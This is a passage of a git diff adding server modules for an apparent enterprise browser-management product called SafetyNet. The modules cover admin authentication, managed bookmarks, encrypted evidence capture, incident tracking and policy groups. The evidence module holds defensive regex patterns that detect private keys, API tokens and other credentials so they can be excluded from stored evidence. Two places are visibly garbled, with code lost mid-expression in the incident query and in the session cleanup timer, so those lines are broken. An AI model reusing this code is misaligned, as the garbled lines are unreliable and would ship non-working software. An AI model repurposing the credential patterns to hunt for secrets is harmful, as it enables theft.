res.cookie('sn_session',credential,{httpOnly:true,secure:config.secure,sameSite:'lax',maxAge:8*3600000,path:'/'}); + store.event(null,'sso.admin-login',{actor:principal.sub});res.redirect('/'); + }catch(e){next(e);} + }); + app.post('/auth/logout',(req,res)=>{const s=cookie(req,'sn_session');if(s&&req.headers.origin!==config.publicUrl)return res.status(403).json({error:'Same-origin logout required'});if(s)db.prepare('DELETE FROM sessions WHERE hash=?').run(digest(s));res.clearCookie('sn_session',{path:'/'});res.json({ok:true});}); +} +export function cookie(req,name) { + const part=(req.headers.cookie||'').split(';').map(v=>v.trim()).find(v=>v.startsWith(`${name}=`)); + return part?part.slice(name.length+1):''; +} +export function adminMiddleware(store,config) { + return (req,res,next)=>{ + const supplied=(req.headers.authorization||'').replace(/^Bearer /,''); + let principal,cookieAuthenticated=false; + if(bootstrapAllowed(config)&&supplied && config.adminToken && timingSafeEqual(Buffer.from(digest(supplied)),Buffer.from(digest(config.adminToken))))principal=normalizePrincipal({sub:'bootstrap-admin',admin:true}); + else { + const session=store.db.prepare('SELECT principal FROM sessions WHERE hash=? AND expires>?').get(digest(cookie(req,'sn_session')),Date.now()); + if(session){principal=normalizePrincipal(JSON.parse(session.principal));cookieAuthenticated=true;} + } + if(!principal)return res.status(401).json({error:'Administrator authentication required'}); + if(cookieAuthenticated&&!['GET','HEAD','OPTIONS'].includes(req.method)&&req.headers.origin!==config.publicUrl)return res.status(403).json({error:'Same-origin management request required'}); + let permission=adminRoutePermission(req.method,req.originalUrl); + if(config.requireIndependentPolicyApproval&&permission==='policy.write'&&!req.originalUrl.startsWith('/api/admin/policy-reviews/'))permission='policy.prepare'; + if(!permission||!principal.permissions.includes(permission))return res.status(403).json({error:'Management permission required',permission}); + req.principal=principal;next(); + }; +} diff --git a/apps/server/bookmarks.mjs b/apps/server/bookmarks.mjs new file mode 100644 index 0000000..ae7b384 --- /dev/null +++ b/apps/server/bookmarks.mjs @@ -0,0 +1,59 @@ +import { z } from 'zod'; +import { BookmarkSchema,BookmarkItemsSchema } from '../../packages/core/bookmarks.mjs'; +import { PolicySchema,destinationAllowed } from '../../packages/core/policy.mjs'; +import { settingsSectionAllowed } from '../../packages/core/managed-settings.mjs'; +const mutation=z.discriminatedUnion('action',[ + z.object({action:z.literal('add'),expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),bookmark:BookmarkSchema}).strict(), + z.object({action:z.literal('update'),expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),bookmark:BookmarkSchema}).strict(), + z.object({action:z.literal('delete'),expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),id:BookmarkSchema.shape.id}).strict() +]); +export function globalBookmarksValid(store,policy){ + if(policy.browser.bookmarks.personal.revision||policy.browser.bookmarks.personal.items.length)return false; + const managed=policy.browser.bookmarks.managed.map(b=>b.id); + if(!managed.length)return true; + // Let SQLite examine IDs without copying every employee's bookmark collection + // into the management process on each company-policy publication. + return !store.db.prepare(`SELECT 1 AS found FROM bookmarks AS b, json_each(b.items) AS item WHERE json_extract(item.value,'$.id') IN (${managed.map(()=>'?').join(',')}) LIMIT 1`).get(...managed); +} +export function installBookmarkRoutes(app,store,device,admin){ + function active(id){return store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(id);} + function commit(id,state,items,policy,actor,action){ + policy=PolicySchema.parse(policy); + store.db.exec('BEGIN IMMEDIATE'); + try{ + // Requests are synchronous: version and revision comparisons cannot interleave before BEGIN. + store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?) ON CONFLICT(device_id) DO UPDATE SET revision=excluded.revision,items=excluded.items').run(id,state.revision+1,JSON.stringify(items)); + + store.event(id,'bookmarks.changed',{actor,action,count:items.length,revision:state.revision+1,policyVersion:policy.version});store.db.exec('COMMIT'); + }catch(error){store.db.exec('ROLLBACK');throw error;} + return {revision:state.revision+1,items,version:policy.version}; + } + app.post('/api/device/bookmarks',device,(req,res)=>{ + const b=mutation.parse(req.body),p=store.effectivePolicy(req.device.id),s=store.personalBookmarks(req.device.id),rules=p.browser.bookmarks; + if(b.policyVersion!==p.version||b.expectedRevision!==s.revision)return res.status(409).json({error:'Bookmark or policy version conflict'}); + if(Date.parse(p.expiresAt)<=Date.now()||!settingsSectionAllowed(p,'library')||!rules[{add:'allowUserAdd',update:'allowUserEdit',delete:'allowUserDelete'}[b.action]])return res.status(403).json({error:'Bookmarks are managed by your administrator'}); + const id=b.bookmark?.id||b.id; + if(rules.managed.some(i=>i.id===id))return res.status(403).json({error:'Company bookmarks cannot be modified'}); + if(b.bookmark&&!destinationAllowed(b.bookmark.url,p))return res.status(403).json({error:'Bookmark destination blocked by policy'}); + const index=s.items.findIndex(i=>i.id===id),items=structuredClone(s.items); + if(b.action==='add'){if(index!==-1)return res.status(409).json({error:'Bookmark ID already exists'});items.push(b.bookmark);} + else {if(index===-1)return res.status(404).json({error:'Bookmark not found'});if(b.action==='delete')items.splice(index,1);else items[index]=b.bookmark;} + BookmarkItemsSchema.parse(items);res.json(commit(req.device.id,s,items,p,`device:${req.device.id}`,b.action)); + }); + app.get('/api/admin/devices/:id/bookmarks',admin,(req,res)=>{ + if(!active(req.params.id))return res.status(404).json({error:'Active device not found'}); + const p=store.effectivePolicy(req.params.id);if(!p.browser.bookmarks.adminReadUserBookmarks)return res.status(403).json({error:'Remote bookmark review disabled by policy'}); + const s=store.personalBookmarks(req.params.id);store.event(req.params.id,'bookmarks.reviewed',{actor:req.principal.sub,count:s.items.length,revision:s.revision});res.json({...s,version:p.version}); + }); + app.put('/api/admin/devices/:id/bookmarks',admin,(req,res)=>{ + const b=z.object({expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),items:BookmarkItemsSchema}).strict().parse(req.body); + if(!active(req.params.id))return res.status(404).json({error:'Active device not found'}); + const p=store.effectivePolicy(req.params.id),s=store.personalBookmarks(req.params.id); + if(!p.browser.bookmarks.adminReadUserBookmarks)return res.status(403).json({error:'Remote bookmark review disabled by policy'}); + if(b.policyVersion!==p.version||b.expectedRevision!==s.revision)return res.status(409).json({error:'Bookmark or policy version conflict'}); + if(b.items.some(i=>p.browser.bookmarks.managed.some(m=>m.id===i.id)))return res.status(400).json({error:'Personal and company bookmark IDs conflict'}); + res.json(commit(req.params.id,s,b.items,p,req.principal.sub,'administrator-update')); + }); +} + + diff --git a/apps/server/evidence.mjs b/apps/server/evidence.mjs new file mode 100644 index 0000000..609d73b --- /dev/null +++ b/apps/server/evidence.mjs @@ -0,0 +1,63 @@ +import {z} from 'zod'; +import {readFileSync,lstatSync} from 'node:fs'; +import {isAbsolute,dirname} from 'node:path'; +import {randomBytes,randomUUID,createCipheriv,createDecipheriv,createHash} from 'node:crypto'; + +const text=z.string().max(16000).refine(v=>!/[\u0000-\u0008\u000b\u000c\u000e-\u001f]/.test(v),'Control characters forbidden'); +const url=z.string().max(4096).refine(v=>{try{const u=new URL(v);return ['https:','http:'].includes(u.protocol)&&!u.username&&!u.password&&!u.search&&!u.hash;}catch{return false;}},'Evidence URLs require HTTP(S), no credentials, query or fragment'); +const digest=z.string().regex(/^[a-f0-9]{64}$/); +// Typed allowlists prevent password, cookie, authorization and arbitrary fields. +const payloads={ + download:z.object({sourceUrl:url,name:z.string().min(1).max(255),sha256:digest,bytes:z.number().int().nonnegative(),mime:z.string().max(100),decision:z.enum(['allow','block']),ruleId:z.string().max(100).optional()}).strict(), + interaction:z.object({pageUrl:url,action:z.enum(['click','copy','cut','paste','submit']),target:z.object({tag:z.string().max(32),role:z.string().max(64).optional(),label:text.optional(),x:z.number().finite().optional(),y:z.number().finite().optional()}).strict().optional(),content:text.optional(),contentSha256:digest.optional(),sensitiveField:z.literal(false)}).strict() +}; +const input=z.object({eventId:z.string().uuid(),type:z.enum(['download','interaction']),payload:z.unknown()}).strict(); +// Conservatively reject recognizable credentials even in otherwise allowed +// prose. This is a second boundary; native capture must still exclude secret +// controls because arbitrary passwords cannot be inferred from their value. +const credentialPatterns=[ + /-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY)-----/i, + /\b(?:bearer|basic)\s+[A-Za-z0-9+/_=-]{8,}/i, + /\b(?:password|passwd|pwd|api[ _-]?key|access[ _-]?token|refresh[ _-]?token|client[ _-]?secret|authorization)\b["']?\s*[:=]\s*["']?[^\s"',;]{4,}/i, + /\bsk-[A-Za-z0-9_-]{16,}\b/, + /\bgh[pousr]_[A-Za-z0-9]{20,}\b/, + /\bgithub_pat_[A-Za-z0-9_]{20,}\b/, + /\bAKIA[A-Z0-9]{16}\b/, + /\beyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\b/ +]; +function includesCredential(payload){ + const strings=[];if(payload.content)strings.push(payload.content);if(payload.target?.label)strings.push(payload.target.label);if(payload.name)strings.push(payload.name); + for(const field of ['sourceUrl','pageUrl'])if(payload[field]){strings.push(payload[field]);try{strings.push(decodeURIComponent(new URL(payload[field]).pathname));}catch{return true;}} + return strings.some(value=>credentialPatterns.some(pattern=>pattern.test(value))); +} +function aad(row){return Buffer.from(JSON.stringify([1,row.id,row.source_event_id,row.device_id,row.type,row.key_id,row.created_at,row.expires_at]));} +function transaction(db,fn){db.exec('SAVEPOINT protected_evidence');try{const result=fn();db.exec('RELEASE protected_evidence');return result;}catch(e){db.exec('ROLLBACK TO protected_evidence');db.exec('RELEASE protected_evidence');throw e;}} +export function installEvidence(app,store,config,device,admin){ + const db=store.db;let key=null,keyId=null; + const days=config.evidenceRetentionDays??30;if(!Number.isInteger(days)||days<1||days>365)throw Error('Evidence retention must be 1..365 days'); + if(config.evidenceKeyFile){ + if(!isAbsolute(config.evidenceKeyFile))throw Error('Evidence key requires an absolute deployment file'); + for(let path=config.evidenceKeyFile;;path=dirname(path)){if(lstatSync(path).isSymbolicLink())throw Error('Linked evidence key paths are forbidden');if(dirname(path)===path)break;} + const stat=lstatSync(config.evidenceKeyFile);if(!stat.isFile()||stat.size!==32)throw Error('Evidence key must be a regular file containing exactly 32 random bytes'); + if(process.platform!=='win32'&&(stat.mode&0o077))throw Error('Evidence key must be restricted to its service owner'); + key=readFileSync(config.evidenceKeyFile);if(key.length!==32)throw Error('Evidence key changed during loading');keyId=createHash('sha256').update(key).digest('hex').slice(0,32); + } + db.exec(`CREATE TABLE IF NOT EXISTS protected_evidence(id TEXT PRIMARY KEY,source_event_id INTEGER NOT NULL REFERENCES events(id),device_id TEXT NOT NULL REFERENCES devices(id),type TEXT NOT NULL,key_id TEXT NOT NULL,created_at TEXT NOT NULL,expires_at TEXT NOT NULL,nonce BLOB NOT NULL,ciphertext BLOB NOT NULL,tag BLOB NOT NULL,UNIQUE(source_event_id,type)); CREATE INDEX IF NOT EXISTS evidence_source ON protected_evidence(source_event_id);`); + const enabled=(_req,res,next)=>key?next():res.status(503).json({error:'Protected evidence storage is not configured'}); + app.post('/api/device/evidence',device,enabled,(req,res)=>{ + const b=input.parse(req.body),payload=payloads[b.type].parse(b.payload);if(includesCredential(payload))return res.status(400).json({error:'Recognizable credentials are excluded from evidence'});const plain=Buffer.from(JSON.stringify(payload));if(plain.length>65536)return res.status(413).json({error:'Evidence too large'}); + const source=db.prepare('SELECT id,kind FROM events WHERE device_id=? AND json_extract(metadata,\'$.eventId\')=?').get(req.device.id,b.eventId);if(!source)return res.status(404).json({error:'Own source event not found'}); + const matching=b.type==='download'?['download.scan','download.released','download.block']:['clipboard.copy','clipboard.cut','clipboard.paste','clipboard.block','agent.action'];if(!matching.includes(source.kind))return res.status(400).json({error:'Evidence type does not match source event'}); + const prior=db.prepare('SELECT id FROM protected_evidence WHERE source_event_id=? AND type=?').get(source.id,b.type);if(prior)return res.status(409).json({error:'Evidence already recorded'}); + const row={id:randomUUID(),source_event_id:source.id,device_id:req.device.id,type:b.type,key_id:keyId,created_at:new Date().toISOString(),expires_at:new Date(Date.now()+days*86400000).toISOString()},nonce=randomBytes(12),cipher=createCipheriv('aes-256-gcm',key,nonce);cipher.setAAD(aad(row));const ciphertext=Buffer.concat([cipher.update(plain),cipher.final()]);plain.fill(0); + transaction(db,()=>{db.prepare('INSERT INTO protected_evidence VALUES(?,?,?,?,?,?,?,?,?,?)').run(row.id,source.id,row.device_id,row.type,keyId,row.created_at,row.expires_at,nonce,ciphertext,cipher.getAuthTag());store.event(row.device_id,'evidence.recorded',{evidenceId:row.id,sourceEventId:source.id,evidenceType:row.type,keyId});});res.status(201).json({id:row.id,sourceEventId:source.id,expiresAt:row.expires_at}); + }); + app.get('/api/admin/evidence/:id',admin,enabled,(req,res)=>{ + const id=z.string().uuid().parse(req.params.id),reason=z.enum(['incident-response','investigation','compliance']).parse(req.query.reason),row=db.prepare('SELECT * FROM protected_evidence WHERE id=?').get(id);if(!row)return res.status(404).json({error:'Evidence not found'}); + const incident=db.prepare("SELECT id FROM incident_cases WHERE event_id=? AND status IN ('open','investigating')").get(row.source_event_id);if(row.expires_at<=new Date().toISOString()&&!incident)return res.status(410).json({error:'Evidence access expired'});if(row.key_id!==keyId)return res.status(503).json({error:'Evidence key unavailable'}); + let payload;try{const cipher=createDecipheriv('aes-256-gcm',key,row.nonce);cipher.setAAD(aad(row));cipher.setAuthTag(row.tag);const plain=Buffer.concat([cipher.update(row.ciphertext),cipher.final()]);try{payload=payloads[row.type].parse(JSON.parse(plain.toString('utf8')));}finally{plain.fill(0);}}catch{return res.status(500).json({error:'Evidence integrity verification failed'});} + // Access must be durably attributable before plaintext leaves the service. + store.event(row.device_id,'evidence.accessed',{actor:req.principal.sub,evidenceId:row.id,sourceEventId:row.source_event_id,evidenceType:row.type,reason}); + res.json({id:row.id,sourceEventId:row.source_event_id,type:row.type,createdAt:row.created_at,expiresAt:row.expires_at,incidentId:incident?.id??null,payload}); + }); +} diff --git a/apps/server/incidents.mjs b/apps/server/incidents.mjs new file mode 100644 index 0000000..f61ba9d --- /dev/null +++ b/apps/server/incidents.mjs @@ -0,0 +1,22 @@ +import {z} from 'zod'; +import {randomUUID} from 'node:crypto'; +const statuses=['open','investigating','resolved','dismissed'],severities=['low','medium','high','critical']; +const positive=z.coerce.number().int().positive().max(Number.MAX_SAFE_INTEGER); +const note=z.string().trim().min(1).max(1000).refine(v=>!/[\u0000-\u0008\u000b\u000c\u000e-\u001f]/.test(v),'Control characters are forbidden'); +const allowedMetadata=['decision','ruleId','policyVersion','version','host','level','sourceEventId','contentType','classification','coverage']; +function safeEvent(row){if(!row)return null;const input=JSON.parse(row.metadata),metadata={};for(const key of allowedMetadata){const v=input[key];if(typeof v==='string'&&v.length<=256)metadata[key]=v;else if(typeof v==='number'&&Number.isSafeInteger(v))metadata[key]=v;}return {id:row.id,time:row.time,kind:row.kind,deviceId:row.device_id,metadata};} +export function installIncidents(app,store){ + const db=store.db; + db.exec(`CREATE TABLE IF NOT EXISTS incident_cases(seq INTEGER PRIMARY KEY AUTOINCREMENT,id TEXT UNIQUE NOT NULL,event_id INTEGER UNIQUE NOT NULL REFERENCES events(id),revision INTEGER NOT NULL,status TEXT NOT NULL,severity TEXT NOT NULL,assignee TEXT,created_at TEXT NOT NULL,updated_at TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS incident_changes(case_id TEXT NOT NULL REFERENCES incident_cases(id),revision INTEGER NOT NULL,time TEXT NOT NULL,actor TEXT NOT NULL,status TEXT NOT NULL,severity TEXT NOT NULL,assignee TEXT,comment TEXT,PRIMARY KEY(case_id,revision)); + CREATE INDEX IF NOT EXISTS incident_case_status ON incident_cases(status,seq);`); + const view=row=>({id:row.id,revision:row.revision,status:row.status,severity:row.severity,assignee:row.assignee,createdAt:row.created_at,updatedAt:row.updated_at,eventId:row.event_id,event:safeEvent(db.prepare('SELECT * FROM events WHERE id=?').get(row.event_id))}); + const find=id=>db.prepare('SELECT * FROM incident_cases WHERE id=?').get(z.string().uuid().parse(id)); + const transaction=fn=>{db.exec('SAVEPOINT incident_change');try{const value=fn();db.exec('RELEASE incident_change');return value;}catch(e){db.exec('ROLLBACK TO incident_change');db.exec('RELEASE incident_change');throw e;}}; + const append=(row,actor,comment)=>db.prepare('INSERT INTO incident_changes VALUES(?,?,?,?,?,?,?,?)').run(row.id,row.revision,row.updated_at,actor,row.status,row.severity,row.assignee,comment??null); + app.get('/api/admin/incidents',(req,res)=>{const q=z.object({status:z.enum(statuses).optional(),severity:z.enum(severities).optional(),before:positive.optional(),limit:z.coerce.number().int().min(1).max(100).default(50)}).strict().parse(req.query),conditions=[],values=[];for(const key of ['status','severity'])if(q[key]){conditions.push(`${key}=?`);values.push(q[key]);}if(q.before){conditions.push('seqq.limit;rows.length=Math.min(rows.length,q.limit);res.json({incidents:rows.map(view),nextBefore:more?rows.at(-1).seq:null});}); + app.get('/api/admin/incidents/:id',(req,res)=>{const row=find(req.params.id);if(!row)return res.status(404).json({error:'Incident not found'});res.json({...view(row),history:db.prepare('SELECT revision,time,actor,status,severity,assignee,comment FROM incident_changes WHERE case_id=? ORDER BY revision').all(row.id)});}); + app.post('/api/admin/incidents',(req,res)=>{const b=z.object({eventId:positive,severity:z.enum(severities).default('medium')}).strict().parse(req.body),source=db.prepare('SELECT * FROM events WHERE id=?').get(b.eventId);if(!source)return res.status(404).json({error:'Security event not found'});if(source.kind.startsWith('incident.'))return res.status(400).json({error:'Incident audit events cannot create incidents'});if(db.prepare('SELECT id FROM incident_cases WHERE event_id=?').get(b.eventId))return res.status(409).json({error:'Event already linked to an incident'});const time=new Date().toISOString(),row={id:randomUUID(),event_id:b.eventId,revision:1,status:'open',severity:b.severity,assignee:null,created_at:time,updated_at:time};transaction(()=>{db.prepare('INSERT INTO incident_cases(id,event_id,revision,status,severity,assignee,created_at,updated_at) VALUES(?,?,?,?,?,?,?,?)').run(row.id,row.event_id,1,row.status,row.severity,null,time,time);append(row,req.principal.sub);store.event(source.device_id,'incident.created',{actor:req.principal.sub,incidentId:row.id,sourceEventId:b.eventId,revision:1,status:'open',severity:row.severity});});res.status(201).json(view(row));}); + app.patch('/api/admin/incidents/:id',(req,res)=>{const b=z.object({expectedRevision:positive,status:z.enum(statuses).optional(),severity:z.enum(severities).optional(),assignee:z.string().trim().min(1).max(160).refine(v=>!/[\u0000-\u001f\u007f]/.test(v),'Control characters are forbidden').nullable().optional(),comment:note.optional()}).strict().parse(req.body),row=find(req.params.id);if(!row)return res.status(404).json({error:'Incident not found'});if(row.revision!==b.expectedRevision)return res.status(409).json({error:'Incident revision conflict',currentRevision:row.revision});if(row.revision>=1000)return res.status(409).json({error:'Incident history limit reached'});const next={...row,...Object.fromEntries(['status','severity','assignee'].filter(k=>Object.hasOwn(b,k)).map(k=>[k,b[k]])),revision:row.revision+1,updated_at:new Date().toISOString()};if(!b.comment&&['status','severity','assignee'].every(k=>next[k]===row[k]))return res.status(400).json({error:'No incident change supplied'});transaction(()=>{const change=db.prepare('UPDATE incident_cases SET revision=?,status=?,severity=?,assignee=?,updated_at=? WHERE id=? AND revision=?').run(next.revision,next.status,next.severity,next.assignee,next.updated_at,row.id,b.expectedRevision);if(change.changes!==1)throw Object.assign(Error('Incident revision conflict'),{status:409});append(next,req.principal.sub,b.comment);store.event(null,'incident.updated',{actor:req.principal.sub,incidentId:row.id,sourceEventId:row.event_id,revision:next.revision,status:next.status,severity:next.severity,...(b.comment?{commentLength:b.comment.length}:{})});});res.json(view(next));}); +} + diff --git a/apps/server/index.mjs b/apps/server/index.mjs new file mode 100644 index 0000000..5c8e9ab --- /dev/null +++ b/apps/server/index.mjs @@ -0,0 +1,35 @@ +import { resolve } from 'node:path'; +import { createApp } from './app.mjs'; +import { openStore } from './store.mjs'; +import { startTelemetry } from './telemetry.mjs'; +import { startSIEM } from './siem.mjs'; +import {startAuditRetention} from './audit-retention.mjs'; +const env=process.env; +const publicUrl=(env.PUBLIC_URL||'http://127.0.0.1:4310').replace(/\/$/,''); +const u=new URL(publicUrl); +if(u.protocol!=='https:' && !['127.0.0.1','localhost','[::1]'].includes(u.hostname))throw Error('Remote management requires HTTPS'); +if(u.protocol==='http:'&&(!env.ADMIN_TOKEN||env.ADMIN_TOKEN.length<32))throw Error('Local development requires ADMIN_TOKEN of at least 32 characters'); +if(u.protocol==='http:'&&env.HOST&&!['127.0.0.1','localhost','::1'].includes(env.HOST))throw Error('Development HTTP management must bind only to loopback'); +if(u.protocol==='https:'&&(!env.OIDC_ISSUER||!env.OIDC_CLIENT_ID))throw Error('HTTPS management requires enterprise OIDC configuration; shared bootstrap administrator tokens are disabled'); +const config={publicUrl,secure:u.protocol==='https:',adminToken:env.ADMIN_TOKEN,oidcIssuer:env.OIDC_ISSUER,oidcClientId:env.OIDC_CLIENT_ID,oidcClientSecret:env.OIDC_CLIENT_SECRET,oidcAdminGroup:env.OIDC_ADMIN_GROUP||'safetynet-admins',oidcGroupsClaim:env.OIDC_GROUPS_CLAIM||'groups',aiBaseUrl:env.AI_BASE_URL,aiKey:env.AI_API_KEY,aiModel:env.AI_MODEL,inspectorUrl:env.INSPECTOR_URL,inspectorToken:env.INSPECTOR_TOKEN}; +const store=openStore(resolve(env.DATA_DIR||'data')); +config.evidenceKeyFile=env.EVIDENCE_KEY_FILE; +config.evidenceRetentionDays=Number(env.EVIDENCE_RETENTION_DAYS||30); +config.oidcDeviceGroup=env.OIDC_DEVICE_GROUP; +config.oidcOperatorGroup=env.OIDC_OPERATOR_GROUP; +config.oidcAuditorGroup=env.OIDC_AUDITOR_GROUP; +config.requireIndependentPolicyApproval=env.REQUIRE_INDEPENDENT_POLICY_APPROVAL==='true'; +config.requirePQManagement=env.REQUIRE_PQ_MANAGEMENT_CHANNEL!=='false'; +if(u.protocol==='https:'&&!config.requirePQManagement)throw Error('Remote deployment requires the protected management channel'); +config.aiEndpointId=env.AI_ENDPOINT_ID||'default'; +const telemetry=startTelemetry(); +const siem=startSIEM(store,resolve(env.DATA_DIR||'data')); +config.siemStatus=()=>siem.status(); +const retention=startAuditRetention(store,siem,{days:Number(env.AUDIT_RETENTION_DAYS||0)}); +config.auditRetentionStatus=()=>retention.status(); +const server=createApp(store,config).listen(Number(env.PORT||4310),env.HOST||'127.0.0.1',()=>console.log(`SafetyNet management: ${publicUrl}`)); +const timer=setInterval(()=>{ + for(const table of ['sessions','logins','tickets','enrollments'])store.db.prepare(`DELETE FROM ${table} WHERE expires{store.db.close();await telemetry?.shutdown();process.exit(0);});} +process.on('SIGINT',stop);process.on('SIGTERM',stop); diff --git a/apps/server/inspection.mjs b/apps/server/inspection.mjs new file mode 100644 index 0000000..02189d8 --- /dev/null +++ b/apps/server/inspection.mjs @@ -0,0 +1,12 @@ +import { z } from 'zod'; +import { EmbeddingReferenceSchema } from '../../packages/core/semantic.mjs'; +const Result=z.object({decision:z.enum(['allow','block']),ruleId:z.string().nullable(),contentType:z.string(),coverage:z.object({complete:z.boolean(),textCharacters:z.number().optional(),mediaItems:z.number().optional()}),model:z.string().nullable(),similarity:z.array(z.object({categoryId:z.string(),score:z.number()})).optional()}); +export async function inspector(config,route,input){ + if(!config.inspectorUrl||!config.inspectorToken)throw Error('Company content inspector is not configured'); + const url=new URL(config.inspectorUrl); + if(url.username||url.password||!(url.protocol==='https:'||(url.protocol==='http:'&&['127.0.0.1','localhost','[::1]'].includes(url.hostname))))throw Error('Inspector endpoint requires private HTTPS or loopback'); + const r=await fetch(`${url.origin}${route}`,{method:'POST',redirect:'error',headers:{authorization:`Bearer ${config.inspectorToken}`,'content-type':'application/json'},body:JSON.stringify(input),signal:AbortSignal.timeout(30000)}); + if(!r.ok)throw Error('Inspector unavailable or content cannot be inspected'); + const data=await r.json();if(route==='/reference-document')return z.object({sha256:z.string().regex(/^[a-f0-9]{64}$/),bytes:z.number().int().positive(),contentType:z.string().max(100),fragmentHashes:z.array(z.string().regex(/^[a-f0-9]{64}$/)).max(1000),coverage:z.object({complete:z.boolean(),textCharacters:z.number().int().nonnegative().optional(),mediaItems:z.number().int().nonnegative().optional(),fragmentHashesTotal:z.number().int().nonnegative().optional(),fragmentHashesRetained:z.number().int().nonnegative().optional(),fragmentHashesTruncated:z.boolean().optional(),extractionComplete:z.boolean().optional(),featuresComplete:z.boolean().optional()}),registrationReady:z.boolean()}).parse(data); + return route==='/inspect'?Result.parse(data):EmbeddingReferenceSchema.parse(data); +} diff --git a/apps/server/policy-channel.mjs b/apps/server/policy-channel.mjs new file mode 100644 index 0000000..edba50a --- /dev/null +++ b/apps/server/policy-channel.mjs @@ -0,0 +1,24 @@ +import {generateKeyPairSync} from 'node:crypto'; +import channel from '../../packages/core/policy-channel.cjs'; + +export function installPolicyChannel(app,store,device){ + let keys=store.get('channelSigningKeys'); + if(!keys){const pair=generateKeyPairSync('ml-dsa-87');keys={privateKey:pair.privateKey.export({type:'pkcs8',format:'pem'}),publicKey:pair.publicKey.export({type:'spki',format:'pem'})};store.put('channelSigningKeys',keys);} + const ed=store.get('keys').privateKey,identity=channel.identity(ed,keys.privateKey,keys.publicKey),pending=new Map(); + app.get('/api/device/channel/identity',device,(_req,res)=>res.json(identity)); + app.post('/api/device/channel/challenge',device,(req,res)=>{ + for(const [id,item] of pending)if(item.bundle.expiresAt<=Date.now()||item.bundle.deviceId===req.device.id)pending.delete(id); + if(pending.size>=10000)return res.status(503).json({error:'Protected management channel unavailable'}); + const item=channel.challenge(req.device.id,ed,keys.privateKey);pending.set(item.bundle.id,item);res.json(item.bundle); + }); + app.post('/api/device/channel/policy',device,(req,res)=>{ + const item=pending.get(req.body?.id); + if(!item||item.bundle.deviceId!==req.device.id)return res.status(403).json({error:'Protected management channel refused'}); + // Consume before processing: every challenge is one use, including failed ciphertext. + pending.delete(item.bundle.id);let context; + try{context=channel.receive(req.body,item.bundle,item.privateKey);res.json(channel.response(store.envelope(req.device.id),item.bundle,context));} + catch{return res.status(403).json({error:'Protected management channel refused'});} + finally{context?.responseKey.fill(0);} + }); + return identity; +} diff --git a/apps/server/policy-groups.mjs b/apps/server/policy-groups.mjs new file mode 100644 index 0000000..61153a9 --- /dev/null +++ b/apps/server/policy-groups.mjs @@ -0,0 +1,59 @@ +import {z} from 'zod'; +import {PolicyGroupSchema,applyPolicyGroups,groupApplies} from '../../packages/core/policy-groups.mjs'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {policyDiff} from './policy-history.mjs'; + +const conflict=message=>Object.assign(Error(message),{status:409}); +export function validateGroupConfiguration(store,policy,groups=store.getRaw('policyGroups')||[],operation={}){ + if(policy.assignment)throw Object.assign(Error('Global policy cannot include a device assignment'),{status:400}); + groups=z.array(PolicyGroupSchema).max(100).parse(groups); + if(new Set(groups.map(g=>g.id)).size!==groups.length)throw conflict('Duplicate policy group IDs'); + const deviceIds=[...new Set(groups.flatMap(g=>g.memberDeviceIds))]; + if(deviceIds.length>10000)throw conflict('Group assignment device budget exceeded'); + const group=operation.type==='group-upsert'?PolicyGroupSchema.parse(operation.group):null; + if(group)for(const id of group.memberDeviceIds){if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(id))throw conflict('Group includes an unknown or revoked device');} + for(const id of deviceIds){ + let baseline=structuredClone(policy),device=store.db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get(id); + if(device?.document_analysis_enabled!==null&&device?.document_analysis_enabled!==undefined)baseline.inspection.documentAnalysisEnabled=!!device.document_analysis_enabled; + if(operation.type==='inspection'&&operation.deviceId===id)baseline.inspection.documentAnalysisEnabled=operation.enabled; + let effective;try{effective=PolicySchema.parse(applyPolicyGroups(baseline,groups,id));}catch(error){if(error instanceof z.ZodError)throw error;throw conflict(error.message);} + const personal=store.personalBookmarks(id); + if(effective.browser.bookmarks.managed.some(b=>personal.items.some(p=>p.id===b.id)))throw conflict('Group company bookmark IDs conflict with personal bookmarks'); + } + return groups; +} +export function groupsForOperation(store,operation){ + if(operation.type==='group-restore')return z.array(PolicyGroupSchema).max(100).parse(operation.groups); + const groups=structuredClone(store.getRaw('policyGroups')||[]); + if(operation.type==='group-upsert'){const group=PolicyGroupSchema.parse(operation.group),index=groups.findIndex(g=>g.id===group.id);if(index<0)groups.push(group);else groups[index]=group;} + if(operation.type==='group-delete'){if(!groups.some(g=>g.id===operation.groupId))throw conflict('Policy group no longer exists');return groups.filter(g=>g.id!==operation.groupId);} + return groups.sort((a,b)=>a.id.localeCompare(b.id,'en')); +} +export function installPolicyGroups(app,store,publisher){ + app.get('/api/admin/policy-groups',(_req,res)=>{ + const groups=store.getRaw('policyGroups')||[],version=store.get('policy').version; + const devices=store.db.prepare('SELECT id,name,revoked,last_seen,policy_version FROM devices ORDER BY name,id').all().map(d=>({id:d.id,name:d.name,revoked:!!d.revoked,last_seen:d.last_seen,policyVersion:d.policy_version,targetVersion:version,acknowledged:d.policy_version===version,groups:groups.filter(g=>groupApplies(g,d.id)).map(g=>g.id),memberGroups:groups.filter(g=>g.memberDeviceIds.includes(d.id)).map(g=>g.id)})); + res.json({version,groups,devices}); + }); + app.post('/api/admin/policy-groups/preview',(req,res)=>{ + const b=z.object({deviceId:z.string().min(1).max(80),group:PolicyGroupSchema.optional()}).strict().parse(req.body); + if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(b.deviceId))return res.status(404).json({error:'Active device not found'}); + const baseline=store.get('policy'),operation=b.group?{type:'group-upsert',group:b.group}:{},groups=groupsForOperation(store,operation); + validateGroupConfiguration(store,baseline,groups,operation); + const device=store.db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get(b.deviceId); + if(device.document_analysis_enabled!==null)baseline.inspection.documentAnalysisEnabled=!!device.document_analysis_enabled; + const policy=PolicySchema.parse(applyPolicyGroups(baseline,groups,b.deviceId)); + 